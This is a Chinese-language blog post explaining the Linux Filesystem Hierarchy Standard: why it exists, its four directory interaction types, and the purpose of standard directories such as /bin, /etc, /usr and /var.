重定位表保存的是各个段的重定位信息。可以把整个重定位表看成多个重定位表,每个段落都有一个自己的重定位表,这个表只在目标文件中有,可执行文件不存在这个表。重定位表中每一条记录就是一条重定位信息,如下:…
thumbnail
FHS文件系统层次 浅析
[toc] Part 1 - 为什么要有FHS? [begin]F[/begin]HS的全称是什么呢?FHS是Filesystem Hierarchy Standard的缩写,中文译名为文件系统层次化标准。我们为什么要有FHS这个东西呢?引用一段: 因为利用 Linux 来开发产品或 distribution 的团队实在太多了,如果每个人都用自己的想法来配置文件放置的目录,那么将可能造成很多管理上的困扰。所以,后来就有了 Filesystem Hierarchy Standard(FHS)标准的出炉了。根据 FHS 的官方文件指出,其主要目的是希望让用户可以了解到数据通常放置于哪个目录下。也就是说,FHS 的重点在于规范每个特定的目录下应该要放置什么样子的数据而已。 From VBird's Linux Guide 用自己的话描述一遍差不多就是,在以前在Linux下对于文件夹目录的管理没有一个统一的标准。每个人(不同的distribution开发者)都喜欢把一些系统信息、账户信息、设备信息等存放在不同的特定目录里。这对于自己来说肯定是十分满足的鸭!但是考虑到管理和以后的联网问题,就不得不制定一个统一规定把一些文件放在它们应该在的地方。比如说Windows系统文件就放在那个c盘的Windows文件夹里面,这是不能变的喔。 Part 2 - FHS交互作用形态 文件系统层次根据用户对文件系统的使用和修改频繁程度将目录文件定义为四种交互作用形态: 可分享的:可以给其他系统挂载的目录,一般是能够分享给网络上其他主机挂载用的目录不可分享的:个人机器上运行的设备文件或者端口文件等,不适合分享给其他主机。不变的:不会经常性变动的文件,比只随着系统版本更新而更新的配置文件等。可变动的:经常性变动的文件,比如用户个人文件。 Part 3 - 典型目录举例 根目录(/) 最重要的文件夹,所有的目录都是由该目录衍生出来的。FHS标准建议根目录所在分区应当越小越好,并且安装应用程序最好不与根目录同分区,这样有助于性能优化和系统管理。 执行文件目录(/bin) 执行文件目录不止/bin一个,但是/bin的特别之处在于它放置了在单用户维护模式下还能被操作的命令。在 /bin 下面的命令可以被 root 与一般账号所使用,主要有 cat,chmod,chown,date,mv,mkdir,cp,bash 等。 重要系统执行文件(/sbin) Linux 有非常多的命令是来设置系统环境的,这些命令只有 root 才能够利用来“设置”系统,其他用户最多只能用来“查询”而已。放在 /sbin 下面的为开机过程中所需的,里面包括了开机、修复、还原系统所需要的命令。 服务数据存放目录(/srv) srv == service。是一些网络服务启动之后,这些服务所需要取用的数据目录。常见的服务例如 WWW、FTP 等。举例来说,WWW 服务需要的网页数据就可以放置在 /srv/www/ 里。 临时文件存放目录(/tmp) 这是让一般用户或者是正在执行的程序暂时放置文件的地方。这个目录是任何人都能够访问,所以需要定期清理。当然,重要数据不可放置在此目录,因为系统会不定期将 /tmp 目录下的数据全部删除。 开机文件目录(/boot) 开机要用到的文件咯。 驱动设备目录(/dev) 在 Linux 系统上,任何设备与接口设备都是以文件的形式存在于这个目录当中的。你只要通过访问这个目录下面的某个文件,就等于访问某个设备。比较重要的文件有 /dev/null,/dev/zero,/dev/tty 等。 配置文件目录(/etc) 系统主要的配置文件几乎都放置在这个目录内,例如人员的账号密码文件、各种服务的起始文件等。一般来说,这个目录下的各个文件属性是可以让一般用户查阅的,但只有管理员有权利修改。 用户主文件夹(/home) 这是系统默认的用户主文件夹(home directory)。在你创建一个一般用户账号时,默认的用户主文件夹都会规范到这里来。~ 代表当前用户的主文件夹。 媒体设备暂挂(/media) 这个 /media 下面放置的就是可删除的设备。包括软盘、光盘、DVD等设备都暂时挂载于此。 系统函数库(/lib) 知道#include <stdio.h>是什么意思吧?/lib里面就藏着很多可供调用的函数库。 额外设备暂挂(/mnt) 如果你想要暂时挂载某些额外的设备,一般建议你可以放置到这个目录中。在比较早的时候,这个目录的用途与 /media 相同。只是有了 /media 之后,这个目录就被用来暂时挂载用了。 第三方软件安装目录(/opt) 这个目录是用于安装第三方应用程序的,可以由用户自己指定安装位置。当需要卸载第三方应用程序时,可以直接删除安装目录,而不影响系统其它任何设置。 管理员文件夹(/root) 系统管理员(root)的主文件夹。之所以放在这里,是因为如果进入单用户维护模式而仅挂载根目录时,该目录就能够拥有root的主文件夹,所以我们会希望root的主文件夹与根目录放置在同一个分区中。 虚拟文件系统目录(/sys)(/proc) 这个目录本身是一个虚拟文件系统(virtual filesystem)。它放置的数据都是在内存当中,例如系统内核、进程、外部设备以及网络状态等。因为这个目录下的数据都是在内存当中的,所以本身并不占任何硬盘空间。 系统文件资源目录(/usr) usr不是user的意思哦。其实 usr 是 Unix Software Resource 的缩写,也就是 “UNIX 操作系统软件资源” 所放置的目录,而不是用户的数据,这点需要注意。FHS 建议所有软件开发者应该将他们的数据合理地分别放置到这个目录下的子目录,而不要自行新建该软件的独立目录。 /usr/bin/:绝大部分的用户可使用命令都放在这里/usr/include/:C/C++等程序语言的头文件(header)与包含文件(include)放置处/usr/lib/:包含各应用软件的函数库、目标文件以及一些不被一般用户惯用的执行文件或脚本/usr/local/:系统管理员在本机自行安装下载的软件建议安装到此目录/usr/sbin/:非系统正常运行所需的系统命令/usr/share/:放置共享文件的地方/usr/src/:一般源码放置处 常态可变动文件目录(/var) 该目录主要针对常态性可变动文件,例如MySQL数据库的文件等。如果 /usr 是安装时会占用较大硬盘容量的目录,那么 /var 就是在系统运行后才会渐渐占用硬盘容量的目录。 /var/cache/:应用程序本身运行过程中会产生的一些暂存文件/var/lib/:程序本身执行的过程中,需要使用到的数据文件放置的目录/var/lock/:文件锁。目录下的文件资源一次只能被一个应用程序所使用/var/log/:放置登录文件的目录/var/mail/:放置个人电子邮件信箱的目录/var/run/:某些程序或服务启动后的PID目录/var/spool/:放置排队等待其他应用程程序使用的数据 参考资料 FHS标准官方英文文档鸟哥的Linux私房菜 - 第五章 Linux的档案权限和目录配置